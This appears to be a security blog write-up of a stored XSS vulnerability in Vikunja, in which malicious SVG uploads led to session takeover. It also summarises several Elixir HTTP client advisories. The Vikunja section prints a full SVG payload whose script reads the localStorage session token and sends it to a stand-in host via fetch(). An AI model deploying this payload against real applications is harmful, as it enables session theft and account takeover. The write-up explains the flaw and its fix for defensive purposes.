Feb 26, 2026·5 min read·48 visits
Vikunja versions prior to 2.0.0 failed to sanitize SVG uploads or enforce download headers. This allows authenticated users to upload malicious SVG files containing JavaScript. When a victim views the file, the script executes in their session context, leading to immediate account takeover.
A critical Stored Cross-Site Scripting (XSS) vulnerability in Vikunja allows attackers to hijack sessions via malicious SVG attachments. By exploiting loose MIME type handling and inline rendering, an attacker can turn a simple task list into a weaponized payload delivery system.
Vikunja is the darling of the self-hosted productivity world. It’s a slick, modern way to organize your life, tasks, and projects. But as we've learned time and time again in web security, the more features you add to a file upload handler, the more likely you are to shoot yourself in the foot.
In versions prior to the massive 2.0.0 overhaul, Vikunja had a classic blind spot. It treated file uploads with a level of trust that borders on negligence. Specifically, it allowed users to upload Scalable Vector Graphics (SVG) files. To a developer, an SVG is just an image. To a browser, an SVG is a fully functional XML document capable of executing JavaScript.
This vulnerability isn't just a glitch; it's a fundamental misunderstanding of how browsers handle content types. By allowing users to upload these 'images' and then serving them back without strict security headers, Vikunja effectively granted every user the ability to host a malicious webpage on the application's domain.
The root cause here is a tale as old as the web: MIME Type Confusion and Content-Disposition failure.
When a server sends a file to a browser, it tells the browser what that file is via the Content-Type header. If the server says image/svg+xml, the browser sees an XML document. Unlike a PNG or JPEG, which are static binary blobs, an SVG is parsed by the browser's DOM engine. If that SVG contains a <script> tag, the browser executes it.
The only thing stopping this execution is the Content-Disposition header. If set to attachment, the browser forces a download, neutralizing the threat. Vikunja, however, was happy to serve these files inline. This meant that if you navigated to the URL of an uploaded attachment, the browser would render it directly in the viewport, executing any embedded payloads within the origin of the Vikunja instance.
To make matters worse, there appears to be a race condition in how files were processed or cached, creating a window where even files that should have been safe might be rendered incorrectly. It’s the perfect storm of trusting user input and trusting browser behavior.
Exploiting this is trivially easy for anyone with a basic text editor. We don't need buffer overflows or heap grooming here; we just need valid XML.
The attacker creates a file named payload.svg. Inside, they define a standard SVG structure but inject a JavaScript payload. Since Vikunja uses localStorage to persist session tokens (a common but risky practice), the attacker's script targets that specifically.
Here is the anatomy of the attack vector:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<!-- A harmless looking shape to distract the user -->
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
// The payload
var token = localStorage.getItem('token');
// Exfiltrate to attacker's server
fetch('https://evil-server.com/collect?t=' + token);
alert('Session hijacked!');
</script>
</svg>Once this file is uploaded to a task, the attacker simply shares the link or waits for a curious admin to view the attachments. The moment the admin clicks the file, the script runs, the token flies across the wire to the attacker, and the admin's session is cloned.
Why is this a high-severity issue (CVSS 7.3)? Because in a modern Single Page Application (SPA) like Vikunja, the frontend API token is the key to the kingdom.
This isn't just about reading someone's grocery list; it's about compromising the integrity of the entire project management infrastructure.
The remediation in Vikunja v2.0.0 is two-fold: code changes and data repair.
First, the developers implemented strict MIME type enforcement. The application now correctly identifies SVG files and forces them to be treated as downloads (using Content-Disposition: attachment) rather than inline content. This prevents the browser from rendering the XML and executing the script.
Second, because existing files in the database are already tainted with the wrong metadata, a simple code update isn't enough. The developers provided a specific CLI command to scrub the database:
vikunja repair file-mime-typesThis command iterates through the files table, re-evaluates the file signatures, and updates their stored MIME types to ensure the new security logic applies to old uploads. If you upgrade the binary but fail to run this command, you are leaving the back door unlocked.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Vikunja Vikunja | < 2.0.0 | 2.0.0 |
| Attribute | Detail |
|---|---|
| CWE | CWE-79 (Stored XSS) |
| CVSS | 7.3 (High) |
| Attack Vector | Network |
| Privileges | Low (Authenticated) |
| User Interaction | Required (Click link) |
| Exploit Maturity | PoC Available |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CVE-2026-48861 is a client-side HTTP request-line CRLF (Carriage Return Line Feed) injection vulnerability in the popular Elixir HTTP client library, Mint. The vulnerability permits HTTP Request Splitting and HTTP Request Smuggling when an application forwards untrusted, attacker-controlled inputs to Mint's HTTP client requests as either the HTTP request method or target. By embedding CRLF characters within these parameters, an attacker can terminate the request line prematurely, inject malicious headers, or pipeline entirely independent requests. These smuggled requests are then processed by upstream or downstream proxy servers as separate HTTP queries on the same TCP connection. While Mint version 1.7.0 introduced target validation to secure the request target, the HTTP request method parameter remained completely unvalidated. This flaw allows attackers to bypass routing filters, access restricted internal APIs, or poison HTTP caches under default configurations.
An Inconsistent Interpretation of HTTP Requests (HTTP Request/Response Smuggling) vulnerability in the Elixir Mint HTTP client allows attacker-controlled HTTP/1 servers to desynchronize response framing on shared connections due to over-lenient parsing of sign-prefixed Content-Length headers.
An allocation of resources without limits or throttling vulnerability in Elixir Mint allows an attacker-controlled HTTP/2 server to exhaust memory in a Mint client. The vulnerability is exploited by sending a HEADERS frame without the END_HEADERS flag followed by an infinite stream of CONTINUATION frames. Because the client lacks limits on the incoming header-block accumulator, the client continuously consumes memory until an out-of-memory crash occurs.
CVE-2026-48596 is an Improper Neutralization of CRLF Sequences in HTTP Headers (HTTP Request/Response Splitting, CWE-113) in the Elixir Tesla HTTP client. The flaw resides in how multipart content-type parameters are joined and serialized, enabling attackers to inject arbitrary headers or split HTTP requests when applications pass untrusted inputs to the parameters of multipart uploads.
An improper handling of highly compressed data (decompression bomb) vulnerability exists in the Elixir Tesla HTTP client when utilizing response decompression middlewares. By serving highly compressed responses or stacked content-encoding headers, a malicious server can cause arbitrary heap exhaustion, leading to a denial of service (DoS) crash in the BEAM virtual machine.
A high-severity security vulnerability in Elixir's Tesla HTTP client library (CVE-2026-48595) allows unauthenticated remote attackers to harvest sensitive credentials, including Authorization headers and cookies. The flaw resides in the 'Tesla.Middleware.FollowRedirects' component, which performs case-sensitive lookups when stripping credentials during cross-origin redirects. Because HTTP headers are case-insensitive by RFC specifications, standard canonical casing (e.g., 'Authorization') bypasses the lowercase-only blocklist, leaking tokens to untrusted external redirect destinations.